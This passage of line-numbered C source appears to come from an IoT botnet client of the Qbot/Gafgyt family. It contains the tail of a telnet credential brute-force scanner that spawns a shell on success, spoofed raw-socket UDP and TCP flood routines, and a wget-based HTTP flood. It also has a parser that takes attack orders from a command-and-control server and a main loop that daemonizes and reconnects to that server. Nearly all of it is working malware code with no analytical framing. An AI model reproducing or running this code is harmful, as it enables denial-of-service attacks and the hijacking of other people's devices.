if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
964
else fds[i].state = 7;
965
memset(fds[i].sockbuf, 0, 1024);
966
continue;
967
}
968
else if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
969
{
970
fds[i].totalTimeout = 0;
971
fds[i].bufUsed = 0;
972
if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
973
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
974
else fds[i].state = 7;
975
memset(fds[i].sockbuf, 0, 1024);
976
continue;
977
}
978
else if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
979
{
980
fds[i].totalTimeout = 0;
981
fds[i].bufUsed = 0;
982
if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
983
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
984
else fds[i].state = 7;
985
memset(fds[i].sockbuf, 0, 1024);
986
continue;
987
}
988
else if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
989
{
990
fds[i].totalTimeout = 0;
991
fds[i].bufUsed = 0;
992
if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
993
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
994
else fds[i].state = 7;
995
memset(fds[i].sockbuf, 0, 1024);
996
continue;
997
}
998
else if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
999
{
1000
fds[i].totalTimeout = 0;
1001
fds[i].bufUsed = 0;
1002
if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
1003
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1004
else fds[i].state = 7;
1005
memset(fds[i].sockbuf, 0, 1024);
1006
continue;
1007
}
1008
else if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
1009
{
1010
fds[i].totalTimeout = 0;
1011
fds[i].bufUsed = 0;
1012
if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
1013
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1014
else fds[i].state = 7;
1015
memset(fds[i].sockbuf, 0, 1024);
1016
continue;
1017
}
1018
else if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
1019
{
1020
fds[i].totalTimeout = 0;
1021
fds[i].bufUsed = 0;
1022
if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
1023
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1024
else fds[i].state = 7;
1025
memset(fds[i].sockbuf, 0, 1024);
1026
continue;
1027
} else {
1028
fds[i].bufUsed = strlen(fds[i].sockbuf);
1029
}
1030
1031
if(fds[i].totalTimeout + 10 < time(NULL))
1032
{
1033
sclose(fds[i].fd);
1034
fds[i].state = 0;
1035
fds[i].complete = 1;
1036
}
1037
}
1038
break;
1039
1040
case 7:
1041
{
1042
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1043
fds[i].state = 8;
1044
}
1045
break;
1046
1047
case 8:
1048
{
1049
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
1050
1051
if(send(fds[i].fd, "\r\n", 205, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
1052
1053
if(fds[i].totalTimeout + 10 < time(NULL))
1054
{
1055
sclose(fds[i].fd);
1056
fds[i].state = 0;
1057
fds[i].complete = 1;
1058
}
1059
}
1060
break;
1061
}
1062
}
1063
}
1064
}
1065
1066
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
1067
{
1068
struct sockaddr_in dest_addr;
1069
1070
dest_addr.sin_family = AF_INET;
1071
if(port == 0) dest_addr.sin_port = rand_cmwc();
1072
else dest_addr.sin_port = htons(port);
1073
if(getHost(target, &dest_addr.sin_addr)) return;
1074
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1075
1076
register unsigned int pollRegister;
1077
pollRegister = pollinterval;
1078
1079
if(spoofit == 32)
1080
{
1081
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1082
if(!sockfd)
1083
{
1084
sockprintf(mainCommSock, "Failed opening raw socket.");
1085
return;
1086
}
1087
1088
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
1089
if(buf == NULL) return;
1090
memset(buf, 0, packetsize + 1);
1091
makeRandomStr(buf, packetsize);
1092
1093
int end = time(NULL) + timeEnd;
1094
register unsigned int i = 0;
1095
while(1)
1096
{
1097
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1098
1099
if(i == pollRegister)
1100
{
1101
if(port == 0) dest_addr.sin_port = rand_cmwc();
1102
if(time(NULL) > end) break;
1103
i = 0;
1104
continue;
1105
}
1106
i++;
1107
}
1108
} else {
1109
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
1110
if(!sockfd)
1111
{
1112
sockprintf(mainCommSock, "Failed opening raw socket.");
1113
return;
1114
}
1115
1116
int tmp = 1;
1117
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1118
{
1119
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1120
return;
1121
}
1122
1123
int counter = 50;
1124
while(counter--)
1125
{
1126
srand(time(NULL) ^ rand_cmwc());
1127
init_rand(rand());
1128
}
1129
1130
in_addr_t netmask;
1131
1132
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1133
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1134
1135
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
1136
struct iphdr *iph = (struct iphdr *)packet;
1137
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
1138
1139
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
1140
1141
udph->len = htons(sizeof(struct udphdr) + packetsize);
1142
udph->source = rand_cmwc();
1143
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1144
udph->check = 0;
1145
1146
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
1147
1148
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1149
1150
int end = time(NULL) + timeEnd;
1151
register unsigned int i = 0;
1152
while(1)
1153
{
1154
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1155
1156
udph->source = rand_cmwc();
1157
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1158
iph->id = rand_cmwc();
1159
iph->saddr = htonl( getRandomIP(netmask) );
1160
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1161
1162
if(i == pollRegister)
1163
{
1164
if(time(NULL) > end) break;
1165
i = 0;
1166
continue;
1167
}
1168
i++;
1169
}
1170
}
1171
}
1172
1173
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
1174
{
1175
register unsigned int pollRegister;
1176
pollRegister = pollinterval;
1177
1178
struct sockaddr_in dest_addr;
1179
1180
dest_addr.sin_family = AF_INET;
1181
if(port == 0) dest_addr.sin_port = rand_cmwc();
1182
else dest_addr.sin_port = htons(port);
1183
if(getHost(target, &dest_addr.sin_addr)) return;
1184
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1185
1186
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
1187
if(!sockfd)
1188
{
1189
sockprintf(mainCommSock, "Failed opening raw socket.");
1190
return;
1191
}
1192
1193
int tmp = 1;
1194
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1195
{
1196
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1197
return;
1198
}
1199
1200
in_addr_t netmask;
1201
1202
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1203
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1204
1205
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
1206
struct iphdr *iph = (struct iphdr *)packet;
1207
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
1208
1209
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
1210
1211
tcph->source = rand_cmwc();
1212
tcph->seq = rand_cmwc();
1213
tcph->ack_seq = 0;
1214
tcph->doff = 5;
1215
1216
if(!strcmp(flags, "all"))
1217
{
1218
tcph->syn = 1;
1219
tcph->rst = 1;
1220
tcph->fin = 1;
1221
tcph->ack = 1;
1222
tcph->psh = 1;
1223
} else {
1224
unsigned char *pch = strtok(flags, ",");
1225
while(pch)
1226
{
1227
if(!strcmp(pch, "syn"))
1228
{
1229
tcph->syn = 1;
1230
} else if(!strcmp(pch, "rst"))
1231
{
1232
tcph->rst = 1;
1233
} else if(!strcmp(pch, "fin"))
1234
{
1235
tcph->fin = 1;
1236
} else if(!strcmp(pch, "ack"))
1237
{
1238
tcph->ack = 1;
1239
} else if(!strcmp(pch, "psh"))
1240
{
1241
tcph->psh = 1;
1242
} else {
1243
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
1244
}
1245
pch = strtok(NULL, ",");
1246
}
1247
}
1248
1249
tcph->window = rand_cmwc();
1250
tcph->check = 0;
1251
tcph->urg_ptr = 0;
1252
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
1253
tcph->check = tcpcsum(iph, tcph);
1254
1255
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1256
1257
int end = time(NULL) + timeEnd;
1258
register unsigned int i = 0;
1259
while(1)
1260
{
1261
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1262
1263
iph->saddr = htonl( getRandomIP(netmask) );
1264
iph->id = rand_cmwc();
1265
tcph->seq = rand_cmwc();
1266
tcph->source = rand_cmwc();
1267
tcph->check = 0;
1268
tcph->check = tcpcsum(iph, tcph);
1269
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1270
1271
if(i == pollRegister)
1272
{
1273
if(time(NULL) > end) break;
1274
i = 0;
1275
continue;
1276
}
1277
i++;
1278
}
1279
}
1280
1281
void sendHTTP(unsigned char *url, int end_time)
1282
{
1283
int end = time(NULL) + end_time;
1284
FILE *pf;
1285
char command[80];
1286
sprintf(command, "wget -O /tmp/fff ");
1287
strcat(command, url);
1288
strcat(command, " > /dev/null ");
1289
pf = popen(command,"r");
1290
while(end > time(NULL))
1291
{
1292
system(command);
1293
}
1294
}
1295
1296
void processCmd(int argc, unsigned char *argv[])
1297
{
1298
if(!strcmp(argv[0], "PING"))
1299
{
1300
sockprintf(mainCommSock, "PONG!");
1301
return;
1302
}
1303
1304
if(!strcmp(argv[0], "GETLOCALIP"))
1305
{
1306
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
1307
return;
1308
}
1309
1310
if(!strcmp(argv[0], "SCANNER"))
1311
{
1312
if(argc != 2)
1313
{
1314
sockprintf(mainCommSock, "SCANNER ON | OFF");
1315
return;
1316
}
1317
1318
if(!strcmp(argv[1], "OFF"))
1319
{
1320
if(scanPid == 0) return;
1321
printf("d0rk\n");
1322
kill(scanPid, 9);
1323
scanPid = 0;
1324
}
1325
1326
if(!strcmp(argv[1], "ON"))
1327
{
1328
if(scanPid != 0) return;
1329
uint32_t parent;
1330
parent = fork();
1331
printf("f0rk\n");
1332
if (parent > 0) { scanPid = parent; return;}
1333
else if(parent == -1) return;
1334
1335
TelnetScan(1);
1336
_exit(0);
1337
}
1338
}
1339
1340
if(!strcmp(argv[0], "HTTP"))
1341
{
1342
if(argc < 3 || atoi(argv[2]) < 1)
1343
{
1344
return;
1345
}
1346
1347
unsigned char *ip = argv[1];
1348
int time = atoi(argv[2]);
1349
1350
if(strstr(ip, ",") != NULL)
1351
{
1352
unsigned char *hi = strtok(ip, ",");
1353
while(hi != NULL)
1354
{
1355
if(!listFork())
1356
{
1357
sendHTTP(ip, time);
1358
close(mainCommSock);
1359
_exit(0);
1360
}
1361
hi = strtok(NULL, ",");
1362
}
1363
} else {
1364
if (listFork()) { return; }
1365
1366
sendHTTP(ip, time);
1367
close(mainCommSock);
1368
1369
_exit(0);
1370
}
1371
}
1372
1373
if(!strcmp(argv[0], "UDP"))
1374
{
1375
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
1376
{
1377
//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
1378
return;
1379
}
1380
1381
unsigned char *ip = argv[1];
1382
int port = atoi(argv[2]);
1383
int time = atoi(argv[3]);
1384
int spoofed = atoi(argv[4]);
1385
int packetsize = atoi(argv[5]);
1386
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
1387
1388
if(strstr(ip, ",") != NULL)
1389
{
1390
unsigned char *hi = strtok(ip, ",");
1391
while(hi != NULL)
1392
{
1393
if(!listFork())
1394
{
1395
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
1396
close(mainCommSock);
1397
_exit(0);
1398
}
1399
hi = strtok(NULL, ",");
1400
}
1401
} else {
1402
if (listFork()) { return; }
1403
1404
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
1405
close(mainCommSock);
1406
1407
_exit(0);
1408
}
1409
}
1410
1411
if(!strcmp(argv[0], "TCP"))
1412
{
1413
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
1414
{
1415
//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
1416
return;
1417
}
1418
1419
unsigned char *ip = argv[1];
1420
int port = atoi(argv[2]);
1421
int time = atoi(argv[3]);
1422
int spoofed = atoi(argv[4]);
1423
unsigned char *flags = argv[5];
1424
1425
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
1426
int psize = argc > 6 ? atoi(argv[6]) : 0;
1427
1428
if(strstr(ip, ",") != NULL)
1429
{
1430
unsigned char *hi = strtok(ip, ",");
1431
while(hi != NULL)
1432
{
1433
if(!listFork())
1434
{
1435
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
1436
close(mainCommSock);
1437
_exit(0);
1438
}
1439
hi = strtok(NULL, ",");
1440
}
1441
} else {
1442
if (listFork()) { return; }
1443
1444
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
1445
close(mainCommSock);
1446
1447
_exit(0);
1448
}
1449
}
1450
1451
if(!strcmp(argv[0], "STOP"))
1452
{
1453
int killed = 0;
1454
unsigned long i;
1455
for (i = 0; i < numpids; i++) {
1456
if (pids[i] != 0 && pids[i] != getpid()) {
1457
kill(pids[i], 9);
1458
killed++;
1459
}
1460
}
1461
1462
if(killed > 0)
1463
{
1464
sockprintf(mainCommSock, "Killed %d.", killed);
1465
} else {
1466
sockprintf(mainCommSock, "None Killed.");
1467
}
1468
}
1469
1470
if(!strcmp(argv[0], "LUCKYLILDUDE"))
1471
{
1472
exit(0);
1473
}
1474
}
1475
1476
int initConnection()
1477
{
1478
unsigned char server[512];
1479
memset(server, 0, 512);
1480
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
1481
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
1482
else currentServer++;
1483
1484
strcpy(server, commServer[currentServer]);
1485
int port = 46;
1486
if(strchr(server, ':') != NULL)
1487
{
1488
port = atoi(strchr(server, ':') + 1);
1489
*((unsigned char *)(strchr(server, ':'))) = 0x0;
1490
}
1491
1492
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
1493
1494
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
1495
1496
return 0;
1497
}
1498
1499
int getOurIP()
1500
{
1501
int sock = socket(AF_INET, SOCK_DGRAM, 0);
1502
if(sock == -1) return 0;
1503
1504
struct sockaddr_in serv;
1505
memset(&serv, 0, sizeof(serv));
1506
serv.sin_family = AF_INET;
1507
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
1508
serv.sin_port = htons(53);
1509
1510
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
1511
if(err == -1) return 0;
1512
1513
struct sockaddr_in name;
1514
socklen_t namelen = sizeof(name);
1515
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
1516
if(err == -1) return 0;
1517
1518
ourIP.s_addr = name.sin_addr.s_addr;
1519
1520
int cmdline = open("/proc/net/route", O_RDONLY);
1521
char linebuf[4096];
1522
while(fdgets(linebuf, 4096, cmdline) != NULL)
1523
{
1524
if(strstr(linebuf, "\t00000000\t") != NULL)
1525
{
1526
unsigned char *pos = linebuf;
1527
while(*pos != '\t') pos++;
1528
*pos = 0;
1529
break;
1530
}
1531
memset(linebuf, 0, 4096);
1532
}
1533
close(cmdline);
1534
1535
if(*linebuf)
1536
{
1537
int i;
1538
struct ifreq ifr;
1539
strcpy(ifr.ifr_name, linebuf);
1540
ioctl(sock, SIOCGIFHWADDR, &ifr);
1541
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
1542
}
1543
1544
close(sock);
1545
}
1546
1547
int main(int argc, unsigned char *argv[])
1548
{
1549
if(SERVER_LIST_SIZE <= 0) return 0;
1550
1551
srand(time(NULL) ^ getpid());
1552
init_rand(time(NULL) ^ getpid());
1553
1554
pid_t pid1;
1555
pid_t pid2;
1556
int status;
1557
1558
getOurIP();
1559
1560
if (pid1 = fork()) {
1561
waitpid(pid1, &status, 0);
1562
exit(0);
1563
} else if (!pid1) {
1564
if (pid2 = fork()) {
1565
exit(0);
1566
} else if (!pid2) {
1567
} else {
1568
zprintf("fork failed\n");
1569
}
1570
} else {
1571
zprintf("fork failed\n");
1572
}
1573
1574
setsid();
1575
chdir("/");
1576
1577
signal(SIGPIPE, SIG_IGN);
1578
1579
while(1)
1580
{
1581
if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
1582
1583
char commBuf[4096];
1584
int got = 0;
1585
int i = 0;
1586
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
1587
{
1588
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
1589
unsigned int *newpids, on;
1590
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
1591
pids[on - 1] = 0;
1592
numpids--;
1593
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
1594
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
1595
free(pids);
1596
pids = newpids;
1597
}
1598
1599
commBuf[got] = 0x00;
1600
1601
trim(commBuf);
1602
1603
if(strstr(commBuf, "PING") == commBuf)
1604
{
1605
sockprintf(mainCommSock, "PONG");
1606
continue;
1607
}
1608
1609
if(strstr(commBuf, "DUP") == commBuf) exit(0);
1610
1611
unsigned char *message = commBuf;
1612
1613
if(*message == '!')
1614
{
1615
unsigned char *nickMask = message + 1;
1616
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
1617
if(*nickMask == 0x00) continue;
1618
*(nickMask) = 0x00;
1619
nickMask = message + 1;
1620
1621
message = message + strlen(nickMask) + 2;
1622
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
1623
1624
unsigned char *command = message;
1625
while(*message != ' ' && *message != 0x00) message++;
1626
*message = 0x00;
1627
message++;
1628
1629
unsigned char *tmpcommand = command;
1630
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
1631
1632
unsigned char *params[10];
1633
int paramsCount = 1;
1634
unsigned char *pch = strtok(message, " ");
1635
params[0] = command;
1636
1637
while(pch)
1638
{
1639
if(*pch != '\n')
1640
{
1641
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
1642
memset(params[paramsCount], 0, strlen(pch) + 1);
1643
strcpy(params[paramsCount], pch);
1644
paramsCount++;
1645
}
1646
pch = strtok(NULL, " ");
1647
}
1648
1649
processCmd(paramsCount, params);
1650
1651
if(paramsCount > 1)
1652
{
1653
int q = 1;
1654
for(q = 1; q < paramsCount; q++)
1655
{
1656
free(params[q]);
1657
}
1658
}
1659
}
1660
}
1661
printf("Link closed by server.\n");
1662
}
1663
1664
return 0;
1665
1666
}
1667